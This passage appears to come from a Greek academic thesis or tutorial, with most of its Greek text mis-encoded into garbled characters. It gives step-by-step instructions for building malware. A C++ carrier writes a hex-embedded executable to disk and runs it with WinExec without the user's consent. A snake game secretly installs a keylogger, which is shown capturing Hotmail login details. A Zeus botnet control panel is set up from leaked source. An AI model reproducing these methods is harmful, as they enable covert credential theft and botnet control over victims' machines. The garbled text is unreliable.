2.2 Δημιουργία Trojan Horse με C++ 
 
 
 
 

Γηα ηεν δεµηοςπγία ηος Trojan Horse ζα σπεζηµοποηήζυ ηα εξήρ ππογπάµµαηα : 
 

1) Windows 7 Professional x64  
2) Dev-C++ 5.11  
3) UltraEdit 
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Οη εγθαηαζηάζεηρ ηυν ππογπαµµάηυν ζα ηηρ δείξυ ζε άιιο θεθάιαηο. 
 

Σο ππϊηο βήµα πος ζα θάνυ γηα ηεν δεµηοςπγία ηος Trojan horse ζα είναη ππϊηα να γπάτυ ηο ππψγπαµµα 

πος ωζηεπα αςηψ ζα θπςθηεί µέζα ζε ένα άιιο ππψγπαµµα πος ζα ηο θοςβαιάεη θαη ζα θάνεη ηον δοωπεηο 

ίππο. Σο ππψγπαµµα πος ζα θηηάξυ ππϊηα δεν ζα είναη θαθψβοςιο οωηε ζα θάνεη θάηη πος µποπεί να 

σπεζηµοποηεζεί γηα παπανοµία. Απιά ζα γπάτυ ένα απιψ script ζε C++ ψπος ζα θάνεη output ένα απιψ 

“Hello world” θαη ωζηεπα αςηψ ζα θπςθηεί µέζα ζε ένα άιιο απσείο µε µία µέζοδο πος ζα δείξυ. Αςηή ε 

ηεσνηθή πος ζα δείξυ είναη µία βαζηθή ηεσνηθή δεµηοςπγίαρ ενψρ δοωπεηος ίππος 

(Trojan horse). 
 

Ξεθηνάυ ηο ππϊηο µέπορ µε ηεν δεµηοςπγία ηος ππογπάµµαηορ hello.cpp ψπος ψηαν ηο θάνυ compile 

ζα βγεη ηο helo.exe εθηειέζηµο µε ηο επγαιείο Dev-C++ . 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.12 Όζηεπα ψηαν µος βγάιεη ηον θεηµενογπάθο πος ζα βάιυ ηον θϊδηθα ζα γπάτυ αςηψν ηον 
 
θϊδηθα. 
 

εηθψνα 2.13 
 

Είναη έναρ απιψρ 

θϊδηθαρ πος ζηο 

command 

window πεηάεη 

ένα Hello World 
 

θαη ηίποηα 

θαθψβοςιο. 

Απιά ζα 

πποζπαζήζυ να 
 
θπωτυ αςηψ ηο ππψγπαµµα µέζα ζε ένα άιιο ζε µοπθή Data segment 16δηθερ µοπθήρ. Αιιά ππϊηα 

ππέπεη να ηο αποζεθεωζυ µέζα ζηον θάθειο ζαν hello.cpp , να ηο θάνυ compile ϊζηε να εµθανίζεη 

ηο εθηειέζηµο απσείο ηος ηο hello.exe θαη αςηψ ηο hello.exe ζα είναη ηο payload ψπος ζα µεηαθέπεη ο 

δοωπεηορ ίππορ. 

 

Ππην γπάτοςµε νέο θϊδηθα γηα ηον δοωπεηο ίππο ζα ππέπεη ππϊηα ηο εθηειέζηµο απσείο να αποζεθεωζοςµε 

ηο data segment ζε 16αδηθή µοπθή (παπάδεηγµα “\x77\xBD\x0E\x57\x00\x80” ) ζε ένα 
 
.txt. Γηα να ηο θάνοςµε αςηψ ζα σπεηαζηοωµε ένα ππψγπαµµα ηο UltraEdit ψπος άµα ηο θαηεβάζεη 

θανείρ απψ ηο επίζεµο site δςζηςσϊρ δεν είναη freeware αιιά ηο ζεηηθψ είναη ψηη ζε αθήνεη να ηο 

σπεζηµοποηήζεηρ 30 µέπερ trial http://www.ultraedit.com/downloads.html ψπος αςηψ ηο επγαιείο ζα µαρ 

βοεζήζεη γηαηί δεν είναη έναρ απιψρ text editor αιιά είναη θαη hex editor. Κάνοςµε εγθαηάζηαζε ηο 
 
UltraEdit ψπος ζα ηο 
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δείξυ πυρ γίνεηε εγθαηάζηαζε µαδί µε ηα ςπψιοηπα επγαιεία ζε άιιο θεθάιαηο. Αθοω γίνεη 

εγθαηάζηαζε θαη ηπέξοςµε ηο ππψγπαµµα ζα θοπηϊζοςµε µέζα ηο εθηειέζηµο hello.exe ψπυρ 

βιέποςµε ζηεν εηθψνα. 
 

εηθψνα 2.14 
 

΋πυρ 
 

θαίνεηε 

άνοηξε ηεν 

αναπαπάζηα 

ζε ηος 

εθηειέζηµος 

ζε 16αδηθή 

µοπθή αιιά 

θαη ηεν 

αναπαπάζηα 
 
ζε ηος ζε απιψ θείµενο . Σο µψνο πος ζα σπεηαζηεί απψ εδϊ πέπα είναη να µαπθάπυ θαη να ανηηγπάτυ 

ηεν 16αδηθή µοπθή θαη ψση ηο θείµενο µε ηοςρ σαπαθηήπερ δίπια οπψηε µαπθάποςµε ψια ηα δεδοµένα 

µε ηο Cntrl+A γηαςηψ είναη θαη 15000 γπαµµέρ Υ 16 ζηήιερ 16αδηθϊν απηζµϊν. Μεηά παηάµε Hex 

Copy Selected View. 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.15 ηο ανηηγπάθοςµε ζε ένα νέο άδεηο θεηµενογπάθο ψπος εδϊ πέπα ηϊπα ζα µποποωµε να 
µαπθάποςµε µψνο ηον 16αδηθψ θϊδηθα θαη ψση ηο θείµενο γηαηί µψνο ηον 16αδηθψ θϊδηθα σπεηάδοµαη. 
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εηθψνα 2.16 
 
 
 
 

΢ηον θαηνοωπηο άδεηο θεηµενογπάθο ψπος γίνεηε ε επηθψιιεζε , µαρ εµθανίδεη ζηοςρ άξονερ Υ θαη Τ 

απηζµοωρ µε πψζερ γπαµµέρ θαη ζηήιερ ςπάπσοςν. Γηα να µαπθαπηζηεί µψνο ο 16αδηθψρ θϊδηθαρ ζα 

ππέπεη να θάνυ δεξί θιηθ ηεν επηιογή Select Range θαη ζα βάιυ ζηον πίναθα πος µος εµθάνηζε πψζερ 

γπαµµέρ θαη πψζερ ζηήιερ γηα να µαπθάπεη µψνο ηον 16αδηθψ θϊδηθα. Όζηεπα ηον θάνυ πάιη 

ανηηγπαθή ζε έναν νέο text editor ψπος ηο αποζεθεωυ ζαν Hexa.txt . 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

32 



malware , active hacking ,passive hacking 
 

εηθψνα 2.17 Σο payload µος είναη ζσεδψν έηοηµο αιιά γηα να ηο πίξυ µέζα ζηο ππψγπαµµα θαη να 
εθηειεζηεί ζυζηά ππέπεη να γίνεη ένα µηθπψ βήµα ππϊηα θαη ψιοη αςηοί οη απηζµοί ππέπεη να έπζοςν ζε 

αςηήν ηεν µοπθή. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.18 Γηα να γίνεη αςηψ ζα ππέπεη να γίνεη αςηοµαηοποηεµένα θαη ψση µε ηο σέπη γηαηί είναη 8188 
 

σ 16 16αδηθοί απηζµοί πος ζέιοςν αιιαγή. Οπψηε έθηηαξα ένα script ζε C++ µε ηο επγαιείο Dev-

C++ 5.11 ψπος ζα πάπεη ηο απσηθψ Hexa.txt θαη ζα ηο ηποποποηήζεη ζηο hexaPROPER.txt. 
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εηθψνα 2.19 Αςηψρ είναη ο θϊδηθαρ πος ψηαν ηον θάνυ compile θαη εθηειέζυ ηο tropopoihsh.exe ζα 
δεµηοςπγήζεη µέζα ζηον θάθειο ένα νέο απσείο µε ψνοµα Hexa2.txt. Θα µεηαηπέτεη απψ ηο απσείο 

Hexa.txt ηοςρ 16αδηθοςρ πος έσοςν ηεν µοπθή 21 B8 01 4C CD 21 54 68 ζε 
 
\x21\xB8\x01\x4C\xCD\x21\x54\x68 θαη ζα ηοςρ αποζεθεωζεη ζηο νέο απσείο Hexa.txt . 
 

Σϊπα ζα σπεζηµοποηήζυ ηο επγαιείο Dev-C++ 5.11 ξανά γηα να γπάτυ πάιη θϊδηθα. Αςηήν ηεν 

θοπά ζα γπάτυ ηον θϊδηθα ηος Trojan horse µε ηο ψνοµα transporter.cpp γηαηί ζα είναη ο µεηαθοπέαρ 

ηος άιιος ππογπάµµαηορ πος ζα θοπηϊζεη θπςθά. 
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εηθψνα 2.20 ΢ηεν εηθψνα δεν µποποωζα να βάιυ ψιον ηον θϊδηθα γηαηί ψπυρ θαίνεηε οη 16αδηθοί απηζµοί ηος 

hello.exe είναη 8194 γπαµµέρ θαη ηηρ έβαια µέζα ζε έναν πίναθα σαπαθηήπυν µε ψνοµα executable. ΋πυρ 

θαίνεηε µέζα ζηεν θωπηα ζςνάπηεζε ηεν main ςπάπσεη µία ζςνάπηεζε ζηεν ζεηπά 8203 ε fopen ψπος 

δεµηοςπγεί ένα απσείο ηο TheDirtyExe.exe θαη ψηη θαηαγπάθεηε ζα αποζεθεωεηε µέζα ζηο TheDirtyExe.exe 

µέζο ηερ µεηαβιεηήρ ptr πος είναη ηωπορ FILE . Μία for επανάιετε ζηεν γπαµµή 8205 ψπος ζα θάνεη ψζερ 

επαναιήτεηρ έσεη µέζα ο πίναθαρ σαπαθηήπυν executable θαη µέζα ζε αςηήν ηεν for ζα αποζεθεωεη µε ηεν 

ζςνάπηεζε fprintf ψηη έσεη ο πίναθαρ executable µέζα ζηεν µεηαβιεηή ptr πος ηα πεπνάεη µε ηεν ζεηπά ηος µέζα 

ζηο TheDirtyExe.exe . Αθοω γίνεη ψιε αςηή ε δηαδηθαζία ππέπεη να ζεµεηυζεί ψηη ηο TheDirtyExe.exe έσεη 

αθπηβϊρ ηο ίδηο µέγεζορ µε ηο hello.exe αθοω ζηεν οςζία είναη αθπηβϊρ ηα ίδηα ππογπάµµαηα. Η µψνε δηαθοπά 

ηοςρ είναη ψηη ηο hello.exe δεµηοςπγήζεθε µε θϊδηθα C++ ενϊ ηο TheDirtyExe.exe ∆εµηοςπγήζεθε µε ηα Data 

segments ηος hello.exe . 

 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 2.21 
 

΢ηεν ζεηπά 8208 ηος θϊδηθα ηος transporter.cpp είναη µία ζςνάπηεζε ε WinExec πος βπίζθεηαη ζηεν 

βηβιηοζήθε windows.h ε οποία ε δοςιεηά ηερ είναη αθοω δεµηοςπγήζεη ηο απσείο TheDirtyExe.exe. 

Μεηά ηος πποζζέζεη ηο payload πος θπαηάεη να ηο θάνεη να εθηειεζηεί αςηψµαηα συπίρ ηεν 

ζςγθαηάζεζε ηος σπήζηε. 
 

΋ηαν ηο transporter.exe γίνεη compile θαη βγεη ηο εθηειέζηµο transporter.exe ψηαν ζα ηπέσεη αςηψ ηο 

ππψγπαµµα πος µοηάδεη ένα αζϊο ππογπαµµαηάθη ζηεν ππαγµαηηθψηεηα ζα εµθανίδεη θαη ηο Hello world 
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ενϊ δεν ςπάπσεη ηέηοηα ενηοιή µέζα αιιά είναη ψια µέζα ζηο Data segment πος βπίζθεηε ζηον πίναθα 

µε ηοςρ σαπαθηήπερ. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.22 Αςηψ ηο ππψγπαµµα αν θαη είναη πονεπψ δεν είναη θαθψβοςιο αιιά θάποηορ θαθψβοςιορ 
σπήζηερ ζα µποποωζε να σπεζηµοποηήζεη αςηήν ηεν απσή θαη να έθηηασνε έναν Trojan horse ψπος ο 

transporter.exe να έµοηαδε µε θάποηο βοεζεηηθψ επγαιείο αιιά ζηεν ππαγµαηηθψηεηα ηο payload ηος να 

ήηαν θάποηορ ηψρ ,worm , ε θάποηο Keylogger. 
 
 
 
 
 

 

2.3 Δημιουργία Trojan Horse snake game με payload keylogger ςε 
 

C++ 
 

΢ε αςηψ ηο πείπαµα ζα µοηάδεη ποιω µε ηο πποεγοωµενο αιιά ζα πάεη ένα βήµα παπαπέπα. Θα θηηάξυ ένα 

ππψγπαµµα ψπυρ ππην αιιά ζα είναη ιίγο ποηο πονεπψ. Θα θοπηϊνεη ηον transporter πος ζα µοηάδεη ένα 

απιψ παησνίδη ηο snake αιιά ζα ηοποζεηεί συπίρ ηεν άδεηα ηος θαη συπίρ να ηο θαηαιαβαίνεη ο σπήζηερ έναν 

keylogger πος ζα θαηαγπάθεη ηα πάνηα. Θα σπεζηµοποηήζυ πάιη ηα γνυζηά επγαιεία ψπυρ windows 7 64 

bit professional , Ultra edit θαη ηο Dev-C++ 5.11 ψπος εθεί ζα ζσεδηάζυ θαη ηο snake game πος ζα θάνεη 

ηον transporter αιιά θαη ηο Keylogger. Ο θϊδηθαρ ηος snake ζα είναη ο εξήρ. 
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εηθψνα 2.23 Αςηψ είναη ένα απιψ παησνίδη snake γπαµµένο ζε C++ ζηο ππψγπαµµα Dev-C++ 5.11 . Αςηψ ζα 

είναη ο transporter µαρ πος ζα θάνεη ηον Trojan horse ψπος ζα θοςβαιάεη ηο payload ηος keylloger. Θα 

σπεζηµοποηήζοςµε ηεν ίδηα ηεσνηθή ψπυρ θαη ζηο άιιο ππψγπαµµα ψπος ζα µεηαηπέτοςµε ηο code segment 

ηος keylogger ζε data segment θαη ζα ηο θοπηϊζοςµε ζε έναν πίναθα σαπαθηήπυν. 
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Η δηαδηθαζία ζα είναη ίδηα µε ηο πποεγοωµενο πείπαµα. Πέπνοςµε ηο .cpp ηος Keylogger ηον θϊδηθα 
πος είναη αςηψρ. 
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εηθψνα 2.24 Παίπνοςµε ηο εθηειέζηµο keylogger.exe ηος keylogger.cpp µεηά πος ζα έσεη γίνεη compiled 
θαη ηο .exe ηος ηο ανοίγοςµε µε ηον 16αδηθψ editor ηον Ultraedit ψπος ζα εµθανίζεη ηα 16αδηθψ data segment 
ηος keylogger.exe θαη ηο αποζεθεωοςµε ζε ένα .txt µε αςηήν ηεν µοπθή. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

εηθψνα 2.25 Αιιά γηα να έπζεη ζε αςηήν ηεν µοπθή ζα σπεηαζηεί έναν θϊδηθα πος σπεζηµοποίεζα θαη ζηο 
πποεγοωµενο πείπαµα γπαµµένο ζε c++ πος ζα ηο µεηαηπέτεη ζηεν µοπθή ζηεν εηθψνα 2.24. 
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εηθψνα 2.26 Ο ηειηθψρ θϊδηθαρ πος ηο 
εθηειέζηµο ζα είναη ένα παησνίδη snake άιια 
ηαςηψσπονα ζα θάνεη εγθαηάζηαζε ένα 
keylogger ζηον ςποιογηζηή ψπος ζα 
θαηαγπάθεη ηα πάνηα απψ ψηη παηάµε. 

 
 
 
 
 

 

εηθψνα 2.27 Αςηψρ είναη ο θϊδηθαρ ηος 
snake αιιά ηαςηψσπονα έσεη θαη έναν  

θαθψβοςιο θϊδηθα µέζα ψπος δεµηοςπγεί θπςθά ένα άιιο εθηειέζηµο απσείο ηο ThedirtyKeylogger.exe 

ψπος πποζζέηεη µέζα ζε αςηψ ηο εθηειέζηµο ψιο ηο data segment απψ ηον πίναθα µε ηοςρ 16αδηθοωρ 

σαπαθηήπερ θαη ωζηεπα αςηψ ηο ππψγπαµµα ηπέσεη ζηυπειά συπίρ ηεν άδεηα ηος σπήζηε συπίρ να ηο 

θαηαιάβεη ο σπήζηερ εωθοια. 
 

΋ηαν γίνεη compile ηο ππψγπαµµα θαη δεµηοςπγήζεη ένα εθηειέζηµο µε ψνοµα snaketrojankeylogger.exe 
θαη ηο ηπέξοςµε ζα δοωµε ψηη ζα εµθανηζηεί ένα παπάζςπο πος παίδοςµε απιά ένα αζϊο snake game. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.28 Καζϊρ ηο παησνίδη είναη ζε εξέιηξε απψ πίζυ δεµηοςπγεί ηο keylogger πος απσίδεη να 
θαηαγπάθεη ηα πάνηα ψηη παηάµε ζηο πιεθηποιψγηο. 
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εηθψνα 2.29 ΋πυρ θαίνεηε ζηεν εηθψνα θαζϊρ ηπέσεη ηο snake δεµηοωπγεζε ένα άιιο απσείο ηο 
TheDirtyKeyLogger.exe θαη άπσηζε να ηπέσεη αςηψµαηα συπίρ να θαίνεηε ζε θάποηο παπάζςπο ζηο taskbar 
αιιά µψνο ζηο παπάζςπο ηος task manager ψηαν πιεθηποιογήζυ Cntrl+Alt+Delete. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.30 ΋πυρ θαίνεηε ζηεν εηθψνα έθανα µία δοθηµή αθπηβϊρ µεηά απψ ηο snake game θαη πποζπάζεζα 

να ανοίξυ ηεν ζειίδα www.hotmail.com θαη θαηέγπατε ηα authentication ζηοησεία σπήζηε πος έβαια γηα να 

θάνυ log in. 
 
 
 
 
 

 

2.4 Zeus botnet 
 

΢ηεν παπαθάηυ ηεσνηθή πυρ δοςιεωεη ένα botnet ζηεν ππάξε είναη γηα θαζαπά αθαδεµαφθοωρ ιψγοςρ. 

΋ποηορ πποζπαζήζεη να ηο δοθηµάζεη γηα θαθψβοςιοςρ ζθοποωρ ηο µψνο αποηέιεζµα πος ζα πάπεη είναη 

να βάδεη ηον εαςηψ ηος ζηεν θςιαθή θαη ηίποηα άιιο. 
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΋πυρ θαη να έσεη o Zeus πιέον είναη ποιω δωζθοιο να δπάζεη ζε θάποηο µεσάνεµα γηαηί ψια ηα antivirus θαη 

άιια ππογπάµµαηα πος πποζηαηεωοςν ηον ςποιογηζηή απψ θαθψβοςια ιογηζµηθά θαη θαθψβοςιερ ενέπγεηερ 

µποποων να ηο βποςν θαη να ηο βάιοςν ζε θαπανηίνα γηαηί ο zeus δποωζε απψ ηο 2007 έυρ ηο 2011 θαη απψ 

ηψηε ψια ηα antivirus είναη ενεµεπυµένα γηα ηο ζςγθεθπηµένο θαθψβοςιο ιογηζµηθψ. 

 
 

 

Σο θαθψβοςιο ιογηζµηθψ Zeus ή αιιηϊρ Zbot ανήθεη ζηεν θαηεγοπία botnet ψπος έσεη ζσεδηαζηεί να ηπέσεη 

ζε ιεηηοςπγηθά ζςζηήµαηα ηερ Microsoft. Έσεη σαπαθηεπηζηεί υρ ένα απψ ηα ποηψ δηάζεµα botnets πος 

µψιςναν εθαηοµµωπηα µεσανήµαηα ζηον θψζµο. Ο zeus ψηαν µοιωνεη ένα µεσάνεµα ζα πποζπαζήζεη να 

θιέτεη εµπηζηεςηηθέρ πιεποθοπίερ αςζενηηθοποίεζερ θαη να ηηρ αποζηείιεη ζηον σπήζηε πος δηασεηπίδεηαη 

ηο botnet. Σο 2010 έθανε ηεν εµθάνηζε ηος ο πεγαίορ θϊδηθαρ ηος zeus ζηο ίνηεπνεη µε αποηέιεζµα 

οποηοζδήποηε σπήζηερ να ηον σπεζηµοποηήζεη ή να ηο ηποποποηήζεη ψπυρ επηζςµεί αςηψρ. Σο παθέηο ψηαν 

ηο θαηεβάζεη θάποηορ πεπηέσεη έναν builder ψπος δεµηοςπγεί ένα bot.exe απσείο θαη απσεία web server (php 

, sql templates) γηα ηεν σπήζε θαη ηεν δηασείπηζε ηος server ππορ ηα bots. H βαζηθή σπήζε ηος zeus 

επηηπέπεη ζε έναν µε εξοςζηοδοηεµένο σπήζηε να έσεη πιήπε δηθαηϊµαηα ζηο µεσάνεµα ηος ζηψσος αιιά 

ε βαζηθή ιεηηοςπγία ηος είναη ε ςποθιοπή πηζηυηηθϊν θαπηϊν θαη θυδηθοωρ απψ online banking.Ο Zeus 

µοιωνεη ηοςρ ςποιογηζηέρ µε ποιιοωρ δηαθοπεηηθοωρ ηπψποςρ αιιά οη 2 βαζηθοί ηπψποη είναη µε ηεσνηθή 

trojan horse µοιωνονηαρ ηον ςποιογηζηή απψ θάποηο phising mail ή απψ ηο θαηέβαζµα ηος µέζο θάποηαρ 

ηζηοζειίδαρ νοµίδονηαρ ο σπήζηερ ψηη θαηεβάδεη θάποηο άιιο επγαιείο. 
 

Μία ποιω απιή έθδοζε ηος επγαιείος zeus γηα να ξεθηνήζεη θάποηορ δοθηµαζηηθά να θηηάξεη ένα δηθψ ηος 

botnet γηα θαζαπά αθαδεµαφθοωρ ιψγοςρ είναη να ηο θαηεβάζεη απψ εδϊ https://github.com/Visgean/Zeus . 

 
 
 
 
 

 

εηθψνα 2.31 Οη σϊπερ ψπος 
έδπαζε ο zeus ηο 2009. 

 
 
 
 
 
 
 
 
 
 
 

 

΋ηαν θαηέβεη αςηή ε 

επγαιεηοζήθε ηα 2 ηος βαζηθά σαπαθηεπηζηηθά πος έσεη µέζα είναη έναρ bot builder θαη έναν Web server 

γπαµµένο ζε γιϊζζα php µε βάζε δεδοµένυν sql. ΋ηαν ο ζηψσορ εθηειέζεη ηο bot ανηηγπάθεη ηον εαςηψ 

ηος ζηο %system32%\sdra64.exe 
 

Σα επγαιεία πος ζα σπεηαζηοωµε γηα να ςιοποηεζεί ο zeus , να εγθαηαζηαζεί ο server ζηον ςποιογηζηή µαρ θαη 

να µοιωνοςµε άιια µεσανήµαηα µε botnets είναη ηο zeus botnet toolkit πος ζα ηο θαηεβάζυ απψ ηο 
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github πος ηο link είναη ζηεν πποεγοωµενε ζειίδα , ηο Xampp πος είναη web server θαη database server 
 
ψπος ηο θαηεβάδυ απψ https://www.apachefriends.org/index.html 
 

Ππϊηο βήµα είναη ε εγθαηάζηαζε ηος web server xampp. ΋ηαν ηα εγθαηαζηήζοςµε ηα 2 βαζηθά επγαιεία πος 

ζα σπεηαζηοωµε απψ ηο xampp είναη να ενεπγοποηήζοςµε ηο apache θαη ηο MySql παηϊνηαρ ηο θοςµπί 

Start ζηο control panel ηος Xampp. 
 
 
 
 

εηθψνα 2.32 
 

΋πυρ θαίνεηε ζηεν εηθψνα 

πάνυ έσεη ενεπγοποηεζεί ηο 

Apache ηπέσονηαρ ηεν 

ςπεπεζία http απψ ηο port 80 

θαη ηεν ςπεπεζία https απψ 

ηο port 443 θαη ηο MySql 
 

ειέγσονηαρ ηηρ βάζεηρ 

δεδοµένυν απψ ηο Port 3306. 

 

∆εωηεπο βήµα είναη να 

πιεθηποιογήζυ ζε έναν 

browser ηεν δηεωζςνζε 
 
http://localhost/phpmyadmin/ θαη να εµθανίζεη ηεν εθαπµογή phpMyAdmin ψπος δηασεηπίδεηαη απψ εθεί 

ο σπήζηερ βάζεηρ δεδοµένυν. Ποηο µεηά ζα µαρ σπεηαζηεί γηα να αποζεθεωοςµε ηο botnet µαρ αιιά θαη 

ηα ζηοησεία πος µαδεωεη ηο botnet. 
 
 
 
 
 
 
 
 

 

εηθψνα 2.33 ε 
 

απσηθή ηερ εθαπµογήρ phpmyadmin 
 
 
 
 
 
 
 
 
 
 
 

 

Σο ηπίηο βήµα είναη ε δεµηοςπγία βάζερ δεδοµένυν ψπος ζα ηεν ονοµάζυ zeus. Ο θάζε έναρ µποπεί να 

ηεν ονοµάζεη ψπυρ ζέιεη. 
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εηθψνα 2.34 δίνυ ηο ψνοµα zeus ζηεν νέα βάζε δεδοµένυν θαη παηάυ δεµηοςπγία. 

 

Αθοω έσεη δεµηοςπγεζεί ε βάζε δεδοµένυν θαη µαρ εµθανίδεηε απηζηεπά µαδί µε ηηρ ςπψιοηπερ µεηά 

ππέπεη να πάυ ζηον ςποθάθειο ηος xampp ηον htdocs θαη να δεµηοςπγήζυ έναν θάθειο µε ψνοµα ίδηο µε 

ηεν βάζε δεδοµένυν πος ονψµαζα οπψηε ηον θάθειο πος ζα δεµηοςπγήζυ ζα ηον ονοµάζυ zeus. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.35 Επψµενο βήµα είναη να πάυ ζηα απσεία ηος zeus πος θαηέβαζα . Θα βπυ ποιιοωρ θαθέιοςρ 
µέζα. Θα πάυ ζηον θάθειο output θαη µεηά ζηον θάθειο server[php] . Μέζα ζα βπυ 3 θαθέιοςρ θαη 3 απσεία 

.php ψπος αςηά ζα ηα ανηηγπάτυ µέζα ζηον θάθειο πος έθηηαξα ζηο πποεγοωµενο βήµα θαη ηο ονψµαζα zeus. 
 
 
 
 
 

 

Εηθψνα 2.36 
 

ανηέγπατα ηα 

απσεία απψ ηον 

θάθειο 
 

server[php] ζηον 
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θάθειο zeus πος έθηηαξα. 
 
 
 
 
 

 

Αθοω ανηέγπατα ηα απσεία πος ζα σπεηαζηϊ γηα να ζηήζυ ηον Server επψµενο βήµα είναη να γςπίζυ 

ζηον browser θαη να πιεθηποιογήζυ ηεν δηεωζςνζε http://localhost/zeus/install/ θαη ζα εµθανηζηεί ηο 

ζςγθεθπηµένο panel. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.37 Σο control panel ψπος βάδεηρ ηα ζηοησεία γηα να ζηεζεί ο server θαη ε βάζε δεδοµένυν πος ζα 

αποζεθεωεη ηα ζηοησεία ηα ζςµπιήπυζα εγϊ. Σα δωο ππϊηα θοςηηά ηα ζςµπιήπυζα εγϊ. Ο σπήζηερ admin µε 

ηον θυδηθψ 12345 ψπος αςηψρ ο σπήζηερ δεµηοςπγήζεθε ζηο phpmyadmin http://localhost/phpmyadmin , γηα να 

ζςµπιεπυζεί ηο host ζα ππέπεη να βάιυ ηεν δηεωζςνζε ip πος έσυ ζηο ςποδίθηςο αθοω ηον zeus ζα ηον ηπέξυ 

ηοπηθά µέζυ ηος xampp. Γηα να δυ ποηα δηεωζςνζε ip σπεζηµοποηϊ µέζα ζηο ηοπηθψ δίθηςο πεγαίνυ ζηο cmd 

θαη πιεθηποιογϊ ηεν ενηοιή ipconfig. 
 

εηθψνα 2.38 
 

Σα 2 επψµενα πιαίζηα 

είναη πάιη ο root 

σπήζηερ πος θηηάξαµε 

γηα να ζςνδέεηε 

θάποηορ ζηεν βάζε 

δεδοµένυν πος ζα έσεη 

ηα αποηειέζµαηα µε 

αςηά ηα ζηοησεία. Σο 

πιαίζηο Database είναη 

ε βάζε δεδοµένυν 

πος δεµηοωπγεζα ζε 
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πποεγοωµενο βήµα ζηεν εθαπµογή phpmyadmin θαη ηερ είσα δϊζεη ψνοµα zeus.Σο πιαίζηο reports είναη ηο 

ψνοµα πος ζα δϊζεη ο θάθειορ.Σο ηειεςηαίο πιαίζηο Encryption key είναη ηο θιεηδί θπςπηογπάθεζερ ηερ 

βάζερ δεδοµένυν µεηά πος ζα σπεζηµοποηεζεί θαη ηο θιεηδί πος ζα σπεζηµοποηεζεί να ηεν 

αποθπςπηογπαθήζεη ππην ηεν αποθπςπηογπαθήζεη.Σο encryption key πος έσυ βάιεη βπίζθεηε µέζα ζηο 

απσείο config.txt ψπος βπίζθεηε ζηεν ηοποζεζία Zeus-translation/output/builder ζηον θάθειο πος 

θαηέβαζα απψ ηο github θαη ηο θιεηδί incorect βπίζθεηαη µέζα ζε αςηψ ηο .txt . 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.39 
 

Μεηά επηζηπέθυ πίζυ ζηον Browser ψπος είναη ψιο ηο Panel ζςµπιεπυµένο µε ηα ζηοησεία. Αθοω 

έσυ ζςµπιεπϊζεη ψια αςηά πος σπεηάδονηαη παηάυ ηο θοςµπί install. 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.40 Αν εµθανίζεη ηο παπαπάνυ µήνςµα ζηεν εηθψνα ζεµαίνεη ψηη ο σπήζηερ πος βάιαµε ηα 
ζηοησεία ζηα πιαίζηα ηος "username" θαη "password" ψηη δεν είναη εγγεγπαµµένορ σπήζηερ ζηεν phpMyAdmin 

ή ο σπήζηερ είναη εγγεγπαµµένορ αιιά δεν έσεη ηα δηθαηϊµαηα γηα ηέηοηα ππάξε. Οπψηε ππέπεη να ξαναµπϊ 

ζηεν ζειίδα ηος xampp να µπυ ζηεν εθαπµογή ηος phpMyAdmin απψ ηον browser θαη να βπυ ηον ανηίζηοησο 

user θαη να ηος δϊζυ παπαπάνυ δηθαηϊµαηα. 
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εηθψνα 2.41 ΋ηαν ψια ζα είναη ενηάξεη ζηο panel εγθαηάζηαζερ ηερ δηασείπηζερ ηος botnet µε ηα ζυζηά 
ζηοησεία θαη ηον σπήζηε να έσεη ηα δηθαηϊµαηα πος σπεηάδονηαη θαη παηήζυ ηο θοςµπί install ζα εµθανηζηεί ηο 

παπαπάνυ µήνςµα. 
 
 

 

εηθψνα 2.42 Σο ππϊηο µέπορ ηερ δηαδηθαζίαρ οιοθιεπϊζεθε 

θαη ήπζε ε ϊπα γηα ηεν δεµηοςπγία ηυν bot ψπος ζα 

εγθαζίζηανηαη ζε θάποηο µεσάνεµα θαη ο δηασεηπηζηήρ ηος 

botnet ζα έσεη ποιιέρ ιεηηοςπγίερ ζηο µεσάνεµα ηος άιιος 

σπήζηε. Θα γςπίζυ ζηον θάθειο ηος zeus πος θαηέβαζα απψ ηο 

δηαδίθηςο θαη ζα βπυ ένα απσείο πος ιέγεηε config.txt πος 

ςπάπσεη ζηεν ζέζε Zeus-translation\output\builder θαη ζα ππέπεη 

να γίνοςν οη παπαθάηυ αιιαγέρ παπψµοηερ ηερ εηθψναρ 
 
γηα να έσεη επηθοηνυνία ηο bot µε ηον admin ηος botnet. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 2.43 ζηο παπαπάνυ config file ηο url_loader ε δοςιεία ηος είναη να θάνεη update ηεν ζέζε πος 

βπίζθεηε ηο bot , ηο url_server ε δοςιεηά ηος είναη να επηθοηνυνεί ο server µε ηο bot γηα έιεγσο θαη ο 

δηασεηπηζηήρ να δίνεη ενηοιέρ , ζε αςηά ηα 2 ππέπεη να αιιασηοων θαη να µπεη θαη ζηα 2 ε δηεωζςνζε ηος 

µεσανήµαηορ µαρ αθοω δεν σπεηάδεηαη ζηο url_loader να βάιοςµε άιιε δηεωζςνζε Ip αθοω εξοµοηϊνεηαη µέζα 

ζηο µεσάνεµα µε ηον xampp να έσεη ηον πψιο ηος server. Αν είναη να µπεη ηο bot ζε άιιο µεσάνεµα ο 

url_loader αιιάδεη δηεωζςνζε ip. Σο url_config ζηο ππϊηο ζεµεηυµένο ο πψιορ ηος είναη ψηαν δεµηοςπγείηε ηο 

